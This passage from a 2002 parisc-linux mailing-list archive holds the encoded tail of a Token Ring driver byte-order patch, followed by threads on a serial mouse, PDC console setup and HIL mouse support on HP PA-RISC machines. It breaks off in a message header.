X2VuY29kZWRfYWRkciA9IHN3YWIxNihyZWFkdyh0aS0+aW5pdF9zcmIgKyBF
TkNPREVEX0FERFJFU1NfT0ZTVCkpOw0KIAllbmNvZGVkX2FkZHIgPSBudG9o
cyhod19lbmNvZGVkX2FkZHIpOw0KICAgICAgICAgaW5pdF9zdGF0dXM9IC8q
Qk1TIDEyLzIwMDAgY2hlY2sgZm9yIHNoYWxsb3cgbW9kZSBwb3NzaWJpbGl0
eSAoVHVyYm8pKi8NCiAJcmVhZGIodGktPmluaXRfc3JiK29mZnNldG9mKHN0
cnVjdCBzcmJfaW5pdF9yZXNwb25zZSxpbml0X3N0YXR1cykpOw0KQEAgLTE1
NzcsNyArMTU4NSw3IEBADQogCSAgIEhlcmUgd2UgY29tcHV0ZSB0aGUgZWZm
ZWN0aXZlIGFkZHJlc3Mgd2hlcmUgd2Ugd2lsbCBwbGFjZSBkYXRhLg0KIAkq
Lw0KIAlTRVRfUEFHRSh0aS0+YXJiX3BhZ2UpOw0KLQlkaGI9ZGhiX2Jhc2U9
bnRvaHMocmVhZHcodGktPmFyYiArIERIQl9BRERSRVNTX09GU1QpKTsNCisJ
ZGhiPWRoYl9iYXNlPXN3YWIxNihyZWFkdyh0aS0+YXJiICsgREhCX0FERFJF
U1NfT0ZTVCkpOw0KIAlpZiAodGktPnBhZ2VfbWFzaykgew0KIAkJZGhiX3Bh
Z2UgPSAoZGhiX2Jhc2UgPj4gOCkgJiB0aS0+cGFnZV9tYXNrOw0KIAkJZGhi
PWRoYl9iYXNlICYgfih0aS0+cGFnZV9tYXNrIDw8IDgpOw0KQEAgLTE2MDAs
MTIgKzE2MDgsMTIgQEANCiAJeG1pdF9jb21tYW5kID0geHNyYi5jb21tYW5k
Ow0KIA0KIAl3cml0ZWIoeG1pdF9jb21tYW5kLCB0aS0+YXNiICsgQ09NTUFO
RF9PRlNUKTsNCi0Jd3JpdGV3KHhzcmIuc3RhdGlvbl9pZCwgdGktPmFzYiAr
IFNUQVRJT05fSURfT0ZTVCk7DQorCXdyaXRldyhjcHVfdG9fbGUxNih4c3Ji
LnN0YXRpb25faWQpLCB0aS0+YXNiICsgU1RBVElPTl9JRF9PRlNUKTsNCiAJ
d3JpdGViKGxsY19zc2FwLCB0aS0+YXNiICsgUlNBUF9WQUxVRV9PRlNUKTsN
CiAJd3JpdGViKHhzcmIuY21kX2NvcnIsIHRpLT5hc2IgKyBDTURfQ09SUkVM
QVRFX09GU1QpOw0KIAl3cml0ZWIoMCwgdGktPmFzYiArIFJFVENPREVfT0ZT
VCk7DQogCWlmICgoeG1pdF9jb21tYW5kID09IFhNSVRfWElEX0NNRCkgfHwg
KHhtaXRfY29tbWFuZCA9PSBYTUlUX1RFU1RfQ01EKSkgew0KLQkJd3JpdGV3
KGh0b25zKDB4MTEpLCB0aS0+YXNiICsgRlJBTUVfTEVOR1RIX09GU1QpOw0K
KwkJd3JpdGV3KHN3YWIxNigweDExKSwgdGktPmFzYiArIEZSQU1FX0xFTkdU
SF9PRlNUKTsNCiAJCXdyaXRlYigweDBlLCB0aS0+YXNiICsgSEVBREVSX0xF
TkdUSF9PRlNUKTsNCiAJCVNFVF9QQUdFKGRoYl9wYWdlKTsNCiAJCXdyaXRl
YihBQywgZGhiKTsNCkBAIC0xNjIyLDcgKzE2MzAsNyBAQA0KIAkgKiAgICBi
dWZmZXIgaWRlbnRpZmllZCBpbiB0aGUgY29tbWFuZCBkYXRhIHJlY2VpdmVk
IHdpdGggdGhlIGludGVycnVwdC4NCiAJICovDQogCXdyaXRlYihoZHJfbGVu
LCB0aS0+YXNiICsgSEVBREVSX0xFTkdUSF9PRlNUKTsNCi0Jd3JpdGV3KGh0
b25zKHRpLT5jdXJyZW50X3NrYi0+bGVuKSwgdGktPmFzYiArIEZSQU1FX0xF
TkdUSF9PRlNUKTsNCisJd3JpdGV3KHN3YWIxNih0aS0+Y3VycmVudF9za2It
PmxlbiksIHRpLT5hc2IgKyBGUkFNRV9MRU5HVEhfT0ZTVCk7DQogCXNyY19s
ZW49dGktPmN1cnJlbnRfc2tiLT5sZW47DQogCXNyY19vZmZzZXQ9MDsNCiAJ
ZGhiPWRoYl9iYXNlOw0KQEAgLTE2OTgsOCArMTcwNiw4IEBADQogCWlmIChy
ZWFkYih0aS0+YXNiICsgUkVUQ09ERV9PRlNUKSAhPTB4RkYpIERQUklOVEso
IkFTQiBub3QgZnJlZSAhISFcbiIpOw0KIA0KIAl3cml0ZWIoUkVDX0RBVEEs
IHRpLT5hc2IgKyBDT01NQU5EX09GU1QpOw0KLQl3cml0ZXcocmFyYi5zdGF0
aW9uX2lkLCB0aS0+YXNiICsgU1RBVElPTl9JRF9PRlNUKTsNCi0Jd3JpdGV3
KHJhcmIucmVjX2J1Zl9hZGRyLCB0aS0+YXNiICsgUkVDRUlWRV9CVUZGRVJf
T0ZTVCk7DQorCXdyaXRldyhjcHVfdG9fbGUxNihyYXJiLnN0YXRpb25faWQp
LCB0aS0+YXNiICsgU1RBVElPTl9JRF9PRlNUKTsNCisJd3JpdGV3KGNwdV90
b19sZTE2KHJhcmIucmVjX2J1Zl9hZGRyKSwgdGktPmFzYiArIFJFQ0VJVkVf
QlVGRkVSX09GU1QpOw0KIA0KIAlsYW5faGRyX2xlbiA9IHJhcmIubGFuX2hk
cl9sZW47DQogCWlmIChsYW5faGRyX2xlbiA+IHNpemVvZihzdHJ1Y3QgdHJo
X2hkcikpIHsNCkBAIC0xNzIyLDcgKzE3MzAsNyBAQA0KIAkJKGludCkgcmVh
ZGIobGxjICsgRFNBUF9PRlNUKSwgKGludCkgcmVhZGIobGxjICsgU1NBUF9P
RlNUKSwNCiAJCShpbnQpIHJlYWRiKGxsYyArIExMQ19PRlNUKSwgKGludCkg
cmVhZGIobGxjICsgUFJPVElEX09GU1QpLA0KIAkJKGludCkgcmVhZGIobGxj
K1BST1RJRF9PRlNUKzEpLChpbnQpcmVhZGIobGxjK1BST1RJRF9PRlNUICsg
MiksDQotCQkoaW50KSBudG9ocyhyZWFkdyhsbGMgKyBFVEhFUlRZUEVfT0ZT
VCkpKTsNCisJCShpbnQpIHN3YWIxNihyZWFkdyhsbGMgKyBFVEhFUlRZUEVf
T0ZTVCkpKTsNCiAjZW5kaWYNCiAJaWYgKHJlYWRiKGxsYyArIG9mZnNldG9m
KHN0cnVjdCB0cmxsYywgbGxjKSkgIT0gVUlfQ01EKSB7DQogCQlTRVRfUEFH
RSh0aS0+YXNiX3BhZ2UpOw0KQEAgLTE3NzUsNyArMTc4Myw3IEBADQogCXNr
Yl9wdXQoc2tiLCBsZW5ndGgpOw0KIAlza2ItPmRldiA9IGRldjsNCiAJZGF0
YSA9IHNrYi0+ZGF0YTsNCi0JcmJ1ZmZlcl9sZW4gPSBudG9ocyhyZWFkdyhy
YnVmZmVyICsgb2Zmc2V0b2Yoc3RydWN0IHJlY19idWYsIGJ1Zl9sZW4pKSk7
DQorCXJidWZmZXJfbGVuID0gc3dhYjE2KHJlYWR3KHJidWZmZXIgKyBvZmZz
ZXRvZihzdHJ1Y3QgcmVjX2J1ZiwgYnVmX2xlbikpKTsNCiAJcmJ1ZmRhdGEg
PSByYnVmZmVyICsgb2Zmc2V0b2Yoc3RydWN0IHJlY19idWYsIGRhdGEpOw0K
IA0KIAlpZiAoSVB2NF9wKSB7DQpAQCAtMTc5OSwxMiArMTgwNywxNCBAQA0K
IAkJaWYgKGlibXRyX2RlYnVnX3RyYWNlJlRSQ19JTklUViAmJiBsZW5ndGgg
PCByYnVmZmVyX2xlbikNCiAJCQlEUFJJTlRLKCJDVVJJT1VTLCBsZW5ndGg9
JWQgPCByYnVmZmVyX2xlbj0lZFxuIiwNCiAJCQkJCQlsZW5ndGgscmJ1ZmZl
cl9sZW4pOw0KKyNpZiBUUl9DSEVDS1NVTQ0KIAkJaWYgKElQdjRfcCkNCiAJ
CQljaGtzdW09Y3N1bV9wYXJ0aWFsX2NvcHlfbm9jaGVjaygodm9pZCopcmJ1
ZmRhdGEsDQogCQkJICAgIGRhdGEsbGVuZ3RoPHJidWZmZXJfbGVuP2xlbmd0
aDpyYnVmZmVyX2xlbixjaGtzdW0pOw0KIAkJZWxzZQ0KKyNlbmRpZg0KIAkJ
CW1lbWNweV9mcm9taW8oZGF0YSwgcmJ1ZmRhdGEsIHJidWZmZXJfbGVuKTsN
Ci0JCXJidWZmZXIgPSBudG9ocyhyZWFkdyhyYnVmZmVyK0JVRkZFUl9QT0lO
VEVSX09GU1QpKSA7DQorCQlyYnVmZmVyID0gc3dhYjE2KHJlYWR3KHJidWZm
ZXIrQlVGRkVSX1BPSU5URVJfT0ZTVCkpIDsNCiAJCWlmICghcmJ1ZmZlcikN
CiAJCQlicmVhazsNCiAJCXJidWZmZXIgLT0gMjsNCkBAIC0xODE2LDcgKzE4
MjYsNyBAQA0KIAkJfQ0KIAkJcmJ1ZmZlciArPSB0aS0+c3JhbV92aXJ0Ow0K
IAkJU0VUX1BBR0UocmJ1ZmZlcl9wYWdlKTsNCi0JCXJidWZmZXJfbGVuID0g
bnRvaHMocmVhZHcocmJ1ZmZlciArIEJVRkZFUl9MRU5HVEhfT0ZTVCkpOw0K
KwkJcmJ1ZmZlcl9sZW4gPSBzd2FiMTYocmVhZHcocmJ1ZmZlciArIEJVRkZF
Ul9MRU5HVEhfT0ZTVCkpOw0KIAkJcmJ1ZmRhdGEgPSByYnVmZmVyICsgb2Zm
c2V0b2Yoc3RydWN0IHJlY19idWYsIGRhdGEpOw0KIAl9DQogDQpAQCAtMTgy
OSwxMCArMTgzOSwxMiBAQA0KIAl0aS0+dHJfc3RhdHMucnhfcGFja2V0cysr
Ow0KIA0KIAlza2ItPnByb3RvY29sID0gdHJfdHlwZV90cmFucyhza2IsIGRl
dik7DQorI2lmIFRSX0NIRUNLU1VNDQogCWlmIChJUHY0X3ApIHsNCiAJCXNr
Yi0+Y3N1bSA9IGNoa3N1bTsNCiAJCXNrYi0+aXBfc3VtbWVkID0gMTsNCiAJ
fQ0KKyNlbmRpZg0KIAluZXRpZl9yeChza2IpOw0KIAlkZXYtPmxhc3Rfcngg
PSBqaWZmaWVzOw0KIH0JCQkJLyp0cl9yeCAqLw0K
--2831155551-2009707125-1011038006=:7418--



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: collver@linuxfreemail.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] serial breakout box
Date: Mon, 14 Jan 2002 13:33:48 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20020114133347.B1367@glen.takilma.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620967 1157 80.91.229.3 (22 Nov 2014 01:49:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:27 +0000 (UTC)
To: lug@peak.org, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 14:30:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from 12-225-100-78.client.attbi.com (12-225-100-78.client.attbi.com [12.225.100.78])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91F08482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:30:37 -0700 (MST)
Original-Received: from ben by 12-225-100-78.client.attbi.com with local (Exim 3.34 #1)
	id 16QEjk-0000MW-00; Mon, 14 Jan 2002 13:33:48 -0800
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13738

Hello,

I installed Debian on a pa-risc workstation.  Linux doesn't support the HIL
mouse, so I tried a serial mouse.  The serial port on the workstation seems
different: is 25 pin female (as opposed to male like a PC).  I can log into
the system through the serial port using Kermit.  But I must first set
carrier-watch off.  I am pretty sure my cable is right.  This leads me to
believe the serial port works, but that there is something unusual about it.

The serial mouse works fine going through a 9pin-25pin adapter to a PC
running Linux.  But it doesn't work at all going through the same adapter
(plus a gender changer) to the hp workstation.  I have also tried going
through a normal serial cable (to cross over transmit and receive),
with no luck.

Does anyone here have a rs232 breakout box they would be willing to loan
(or possibly sell) me?  I am interested in making this serial mouse work.
I would also be grateful for any tips from someone more experienced with
this hardware.

Thanks,

Ben

ps.
This is an Apollo 400 which has been upgraded to a 715T/50 (Trailways-50).



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation console problem
Date: Mon, 14 Jan 2002 22:52:08 +0100
Organization: private
Lines: 59
Approved: news@gmane.org
Message-ID: <3C435308.19B3FA00@gmx.at>
References: <3C42D90E.20909@deaprofessionale.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620968 1162 80.91.229.3 (22 Nov 2014 01:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, willy@debian.org
To: Rodolfo Baselli <rodolfo.baselli@deaprofessionale.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 14:52:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66F92482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 14:52:17 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020114215214.NMUA1238.viefep16-int.chello.at@gmx.at>;
          Mon, 14 Jan 2002 22:52:14 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13739

Hello !

Your machine needs a very new kernel with my new driver handling
the console. The multi-serial board, which is used on the server 
(I have an E55) is not supported by Linux yet, but you can use
the PDC console driver on the server to boot.

For the SCSI and the parallel port, you have no chance, yet, to
boot the machine. So you can only boot the machine diskless via
NFS root, but it runs OK (ok, diskless server is quite a bit for
hackers only ...)

You need a current kernel (I don't know, if the PCD console driver
is already installed on the 0.9.3, so fetch a kernel, and activate
the PDC console driver under non-standard serial devices under the
character device stuff. There you also get a help, how to setup all
that stuff (mknod /dev/ttyB0, etc....). The hole configuration is
quite simple to do, if you know some basics.

But the problem you see, is not directly the problem concerning the
serial console (but you will come to this problem some seconds later
...). Very often my PA RISC boxes block after the sentence
"If this is the last message you see, ...", but simple wait here,
half a minute or some. But after a couple of further lines, you
will have the console problem, and then you need the setup with
the PDC console driver.

With friendly regards
Christoph P.


Rodolfo Baselli wrote:
> 
> Hi out there!
> I'm trying to install the 0.9.3 CD on a HP9000/E45/A3130AW.
> I managed to boot the image, but then I got this message on the serial
> line console:
> "If this is the last message you see, you may need to switch your
> console. This is a common symptom - search the FAQ and mailing lists"
> but I found nothing, since I'm asking you... :-(
> What's happened?
> 
> Thank you for your patience.
> 
> Rudy
> (Italy)
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial breakout box
Date: Mon, 14 Jan 2002 15:18:33 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20020114221833.A56CF37D2B@carmen.fc.hp.com>
References: <20020114133347.B1367@glen.takilma.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620968 1169 80.91.229.3 (22 Nov 2014 01:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:28 +0000 (UTC)
Cc: lug@peak.org, parisc-linux@lists.parisc-linux.org
To: collver@linuxfreemail.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 15:18:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CCCF482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 15:18:35 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 39E49E003B3; Mon, 14 Jan 2002 17:18:34 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id A56CF37D2B; Mon, 14 Jan 2002 15:18:33 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from collver@linuxfreemail.com 
   of "Mon, 14 Jan 2002 13:33:48 PST." <20020114133347.B1367@glen.takilma.net> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13740

collver@linuxfreemail.com writes...

> Hello,
> 
> I installed Debian on a pa-risc workstation.  Linux doesn't support the HIL
> mouse, so I tried a serial mouse.

HIL is supported for some systems. You mention that your system is a 715T/50, 
I don't know about support for that one. Have you determined that it won't 
work for you? I'm sure the people working on HIL support would like to hear 
about what you find.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial breakout box
Date: Mon, 14 Jan 2002 22:22:43 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20020114222243.C19929@parcelfarce.linux.theplanet.co.uk>
References: <20020114133347.B1367@glen.takilma.net> <20020114221833.A56CF37D2B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620968 1171 80.91.229.3 (22 Nov 2014 01:49:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:28 +0000 (UTC)
Cc: collver@linuxfreemail.com, lug@peak.org,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 15:22:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E7D0482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 15:22:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16QFV5-0002TG-00; Mon, 14 Jan 2002 22:22:43 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020114221833.A56CF37D2B@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Mon, Jan 14, 2002 at 03:18:33PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13741

On Mon, Jan 14, 2002 at 03:18:33PM -0700, Matt Taggart wrote:
> HIL is supported for some systems. You mention that your system is a 715T/50, 
> I don't know about support for that one. Have you determined that it won't 
> work for you? I'm sure the people working on HIL support would like to hear 
> about what you find.

I haven't seen any code to support HIL mice, only HIL keyboards.  Or am
I not looking hard enough?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial breakout box
Date: Mon, 14 Jan 2002 15:27:12 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20020114222712.7A22637D2B@carmen.fc.hp.com>
References: <20020114133347.B1367@glen.takilma.net> 
 <20020114221833.A56CF37D2B@carmen.fc.hp.com>  <20020114222243.C19929@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620969 1174 80.91.229.3 (22 Nov 2014 01:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:29 +0000 (UTC)
Cc: collver@linuxfreemail.com, lug@peak.org,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 15:27:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id E914C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 15:27:13 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id D3461600410; Mon, 14 Jan 2002 17:27:12 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 7A22637D2B; Mon, 14 Jan 2002 15:27:12 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 14 Jan 2002 22:22:43 GMT." <20020114222243.C19929@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13742

Matthew Wilcox writes...

> On Mon, Jan 14, 2002 at 03:18:33PM -0700, Matt Taggart wrote:
> > HIL is supported for some systems. You mention that your system is a 715T/5
> 0, 
> > I don't know about support for that one. Have you determined that it won't 
> > work for you? I'm sure the people working on HIL support would like to hear
>  
> > about what you find.
> 
> I haven't seen any code to support HIL mice, only HIL keyboards.  Or am
> I not looking hard enough?

Doh! My mistake. I thought mice were working as well.

Sorry for the confusion,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jbit of Plasma <james_a_n_lee@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] serial breakout box
Date: Mon, 14 Jan 2002 22:38:03 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <3C435DCB.1010901@yahoo.com>
References: <20020114133347.B1367@glen.takilma.net> <20020114221833.A56CF37D2B@carmen.fc.hp.com> <20020114222243.C19929@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620969 1176 80.91.229.3 (22 Nov 2014 01:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:29 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 15:28:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57])
	by dsl2.external.hp.com (Postfix) with SMTP id 94CD44836
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 15:28:41 -0700 (MST)
Original-Received: from m474-mp1-cvx1a.cam.ntl.com (HELO yahoo.com) (62.253.145.218)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 14 Jan 2002 22:28:35 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i586; en-US; rv:0.9.7) Gecko/20011228
X-Accept-Language: en-gb, en-us, en-au, en, ja
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
